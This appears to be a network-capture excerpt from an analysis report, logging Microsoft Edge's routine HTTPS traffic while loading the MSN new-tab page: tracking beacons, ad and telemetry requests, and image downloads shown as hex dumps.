2024-11-17 11:35:37 UTC	925	OUT	GET /b?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:37 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 17 Nov 2024 11:35:37 GMT Location: /b2?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=10C41416f3384a471d2b6391731843337; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=10C41416f3384a471d2b6391731843337; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 3121a0fec76a460ee62c6fb7204ef9fe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: yT_2Op_ax3TnAo8D2dO_rWvWOXmEhGMwsmVzRl3Ny5VvrtOSUBb4Vw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49874	20.125.209.212	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	1175	OUT	GET /c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
2024-11-17 11:35:37 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EF0E439C952A43C2A81A9472C22E3198&RedC=c.msn.com&MXFR=26C7834DE9B0666626559677E895674C Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=26C7834DE9B0666626559677E895674C; domain=.msn.com; expires=Fri, 12-Dec-2025 11:35:37 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sun, 17 Nov 2024 11:35:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49876	23.101.168.44	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=26C7834DE9B0666626559677E895674C&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=957e0dc92f5a4a54e099b73b8b61b62d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
2024-11-17 11:35:37 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 17 Nov 2024 11:35:37 GMT Connection: close
2024-11-17 11:35:37 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49873	20.42.65.85	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843335784&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3808 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
2024-11-17 11:35:37 UTC	3808	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 31 31 3a 33 35 3a 33 35 2e 37 37 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 64 64 63 31 39 32 66 2d 64 34 31 36 2d 34 31 31 66 2d 39 64 39 63 2d 39 66 64 33 64 33 32 35 64 32 62 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 37 37 36 37 39 34 34 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-17T11:35:35.779Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"3ddc192f-d416-411f-9d9c-9fd3d325d2b5","epoch":"1077679444"},"app":{"locale
2024-11-17 11:35:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=60f8335d5bd0483491e13c1a6dbfe212&HASH=60f8&LV=202411&V=4&LU=1731843337922; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 11:35:37 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b4e7f1d9f8904d718f0246609000047d; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 12:05:37 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2138 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 11:35:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49877	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDTr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:38 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDTr Last-Modified: Mon, 28 Oct 2024 18:13:59 GMT X-Source-Length: 88682 X-Datacenter: westus X-ActivityId: 929312c5-477a-42bc-8d52-475c1a6066a7 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 88682 Cache-Control: public, max-age=283051 Expires: Wed, 20 Nov 2024 18:13:09 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:38 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: fd 97 56 76 f7 3f e2 06 3e 90 43 6e 09 70 6b c1 00 c1 92 3c 97 47 ae 7f a7 7b 98 ef 4b b6 ed a0 58 01 63 9e 77 5e da 5a 01 04 c6 77 3a 91 11 01 ba 2d c4 45 4f 82 4c eb 0e 71 5e eb 8b 8e b0 e7 68 63 37 43 5a c1 61 c8 34 70 0a 40 6b 9c d7 39 b6 aa e1 b0 d9 f3 98 eb 4d 21 0d 96 1b c4 b6 0d 27 57 02 05 b3 c9 43 8b cd 6f 6c b5 ae 71 69 8b 0b c9 a6 d1 68 cb 45 95 48 ec 67 73 6e 99 c6 97 4d fa cb 67 9f 4b e2 35 d1 67 38 20 9c f0 36 bf ee a8 40 5a 08 8b 48 fe ee b2 74 d7 44 c3 05 c9 70 04 45 af 79 c2 c4 71 b9 d1 5e ff 00 69 ef 3d 8d 49 8d bb b0 63 49 93 d9 c2 e5 67 12 24 da e3 3f 62 79 68 8b 12 7a 1b 4f d5 43 81 88 bf 45 a9 2d aa 86 b8 11 55 35 de 08 fc d0 5b 50 19 fc 96 64 89 b1 b0 b7 5e 2a a3 7a df b6 e0 5c d3 24 02 48 79 ed 07 34 6b 13 73 af 3b ad 9b be 3b 04 Data Ascii: Vv?>Cnpk<G{KXcw^Zw:-EOLq^hc7CZa4p@k9M!'WColqihEHgsnMgK5g8 6@ZHtDpEyq^i=IcIg$?byhzOCE-U5[Pd^*z\$Hy4ks;;
2024-11-17 11:35:38 UTC	1473	IN	Data Raw: 1d 56 49 ad 22 88 3a eb ed 29 44 e8 4f db 24 11 a1 cf 49 b7 1b 29 84 f9 df c9 19 13 a7 b4 a2 55 87 16 e9 62 41 1c 8e b9 2c e0 23 47 69 d5 07 82 88 4f db 35 52 54 73 f8 6c 08 06 e5 c4 da d6 8e 37 cb 8a 9b 91 26 ed 9f 23 f5 f9 27 13 98 d2 7a fe eb 38 b6 2a b2 76 c8 f3 e5 c5 43 85 24 80 43 a2 2e 24 65 c6 0d 8d b4 4f 59 1c 55 96 96 b4 3a 97 09 9e d1 9a 4c 46 96 c8 11 22 4e aa b3 1a 25 82 67 01 d3 5c b3 1e 79 2d aa 71 03 58 1a 7b 72 58 08 20 e8 0d ad 8f b7 15 a0 86 fc d6 66 1d 31 69 3e d9 29 37 4d c6 2c 7a f0 59 38 f8 22 c9 ca a5 99 a4 1e c9 71 b0 99 00 41 e4 4c 80 74 39 e0 88 b8 98 f9 75 51 91 92 8b 95 ac 52 e3 4b 83 80 24 07 0d 08 c4 07 09 82 32 21 01 ba 4c e2 2d cb 53 aa 29 50 e2 d2 e0 0c 36 24 c5 84 d8 4f 5c 96 4e 10 ba 0b 7c f8 fe cb 07 19 45 96 48 42 65 Data Ascii: VI":)DO$I)UbA,#GiO5RTsl7&#'z8*vC$C.$eOYU:LF"N%g\y-qX{rX f1i>)7M,zY8"qALt9uQRK$2!L-S)P6$O\N\|EHBe
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: 51 32 9a 70 aa 14 52 0b 40 02 03 47 15 42 fc 56 80 21 39 b0 f6 2a a8 9d 24 f8 d9 27 ed 96 98 9d 35 83 20 74 22 41 e4 a2 a9 85 86 6a 24 40 31 02 64 ce 86 48 81 13 7b f4 54 0b 63 2b 9b 05 81 61 55 49 41 d4 d7 6d 66 0c f0 3f 5b 15 d4 1e d8 11 e5 92 f3 83 49 e1 8a a2 c7 82 92 b7 2e fd c6 6d 8b 35 f5 19 20 f6 61 b0 0d a9 9e d7 98 04 2e 37 ec 91 c7 a2 99 dc 19 4a d9 9b b4 ea de 4a 35 76 e4 a4 c6 68 b8 5d e5 cc 71 90 2d c1 66 44 1b 5f 3d 7d df 45 52 9c e0 1c 17 4b 76 75 74 1b 6b ed 0a da cb 08 10 7c 17 a3 b7 5b 58 0b 65 b5 5a 41 31 71 71 3d 09 9b ac dd 35 56 f2 df b7 21 b4 cf 96 9c 38 fb 59 41 db 81 7c ef d3 9f 55 ef b4 ee 6d 39 cf d8 30 1b 7e f0 16 b5 d0 7b 23 4c f5 98 2b cb 7b c8 01 a4 b8 35 ae 30 2e 68 9b 98 16 17 fa 85 62 6d 66 1e 7c 4d ad 3f 52 a0 01 72 56 Data Ascii: Q2pR@GBV!9*$'5 t"Aj$@1dH{Tc+aUIAmf?[I.m5 a.7JJ5vh]q-fD_=}ERKvutk\|[XeZA1qq=5V!8YA\|Um90~{#L+{50.hbmf\|M?RrV
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: d6 30 4c ee 4e 2b 38 44 20 ba c6 08 ac 71 51 08 84 55 57 d5 15 f0 53 08 84 0e be 09 56 51 08 84 08 b9 ca 6e aa 11 0a 08 ba 24 ab 84 a1 04 c9 49 5c 22 11 50 85 50 88 50 42 21 54 22 10 4a 15 21 45 42 15 a2 10 66 9a a8 42 2d 84 d1 08 85 50 d0 94 21 19 34 4a 50 9c 2a a9 49 5c 27 0a 50 84 e5 54 27 09 48 56 4d 10 88 5a 0d 35 28 41 70 88 50 9d b1 41 50 85 29 ca 06 9a 55 22 a5 43 d1 09 cb 71 4e 42 20 04 8d 09 16 8b 61 87 44 44 f0 f6 e0 89 08 91 8a a1 42 15 48 44 b7 14 09 34 54 dc 54 d6 11 14 a2 70 4a 46 28 90 82 6e 52 85 72 11 21 45 d5 30 88 55 21 12 13 43 54 c2 21 54 84 48 4d 0d 51 09 c2 a9 08 90 9a 2e a9 84 42 a9 08 94 d0 d5 10 9c 2a 90 94 84 d0 d4 a1 09 c8 44 84 d1 35 28 44 27 21 39 09 a0 98 44 2a 94 4a 68 26 10 aa 51 29 a1 aa 61 0a a5 12 9a 05 27 14 49 c5 39 Data Ascii: 0LN+8D qQUWSVQn$I\"PPPB!T"J!EBfB-P!4JPI\'PT'HVMZ5(ApPAP)U"CqNB aDDBHD4TTpJF(nRr!E0U!CT!THMQ.BD5(D'!9D*Jh&Q)a'I9
2024-11-17 11:35:38 UTC	7952	IN	Data Raw: 13 af 5f 47 cf 35 95 88 5e e7 a5 f4 5d 99 22 eb 9d fb 7b bb 7a 6d d1 e6 7c 44 85 eb 7a 46 fa 93 0e a1 d1 88 d3 eb 2b a7 07 87 8c 65 53 8c df 92 71 73 99 c7 49 88 f5 79 fe ab d1 ee 18 89 d5 5e c7 a2 75 aa 0b eb 1a ca f5 04 72 5b 8d 9a 6f 0b dd f4 b8 73 73 3c 7f 51 35 4f 37 d3 ec c0 2d ca 2c a7 7d ad d9 20 90 17 6e f3 c6 c3 4b 8e 23 35 f2 be bb d6 f7 ce 21 a6 cb 7c 4c b0 e1 63 5b f7 42 70 f1 cb 89 3e 1b dd 7b be b1 8d 74 62 a7 63 7c bd ff 00 74 7c f9 0b af 9d 24 bb 55 d1 e9 b7 3b 8d f6 bf 2d 0f 45 e0 8f b8 99 ca 2f 48 be e7 af da 8e 59 ae af b2 04 3b 83 b8 9a 67 e6 b3 1b af 98 2f 2d 39 88 26 39 a8 df 63 f7 19 21 f5 b7 a0 b7 90 5c b5 3a 92 2a a4 8f 6b 2f a3 39 57 c7 57 8e 22 27 e3 a3 d8 dc 7b 58 d1 2e 2e 9e 32 54 3b 78 6d 8e cb 6a ea 17 ce 77 bb f6 97 4d f5 Data Ascii: _G5^]"{zm\|DzF+eSqsIy^ur[oss<Q5O7-,} nK#5!\|Lc[Bp>{tbc\|t\|$U;-E/HY;g/-9&9c!\:*k/9WW"'{X..2T;xmjwM
2024-11-17 11:35:38 UTC	14240	IN	Data Raw: 1f 05 cf 00 ff 00 88 5b e1 f2 4a b1 b7 62 e2 ee a2 7d c8 94 d0 ee 6c b5 c4 54 01 19 1d 56 47 d6 fa 7d b7 52 5c e9 fe 19 fa 2c 49 61 ed 00 01 c5 c0 ad 5a 6d 35 81 d2 ea 77 35 51 be fe 3d 1d bd fb 0b 64 12 7f 94 fb 96 07 7d 84 c7 68 7f 29 f7 05 e6 6e 37 7f 71 dd 9f 53 b8 d8 fc a2 3e 57 5d 8d dc de 6b 6e f9 e2 5a a5 ce c3 92 22 3a fc 77 37 7e e0 0c ec cb 8e 1a 2f 1d fe b3 d7 37 ed d9 98 9d 7f 63 0b d8 1b 84 eb 1f 44 c0 07 49 49 89 9d f3 1e 46 33 18 f5 c6 27 ce de 03 3d 67 a8 2e 07 7b 65 ad 18 de 57 70 f5 7b 2f 81 1e 05 7a 54 70 09 0d b0 34 6a 44 4c 7f 2b f3 86 a7 2c 67 f8 d7 94 b8 fb dd a1 67 18 9c 47 b9 0f f4 db 6f bd 51 d1 6d b9 b6 d7 7c 3c e0 2d 18 c0 06 93 d5 69 9b d9 6c 19 b3 b3 a1 6d f1 30 57 4b 7d 33 3e 1f aa 60 01 94 72 5a 55 18 23 33 33 b5 93 f6 01 Data Ascii: [Jb}lTVG}R\,IaZm5w5Q=d}h)n7qS>W]knZ":w7~/7cDIIF3'=g.{eWp{/zTp4jDL+,ggGoQm\|<-ilm0WK}3>`rZU#33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49879	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:38 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=319192 Expires: Thu, 21 Nov 2024 04:15:30 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:38 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49881	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
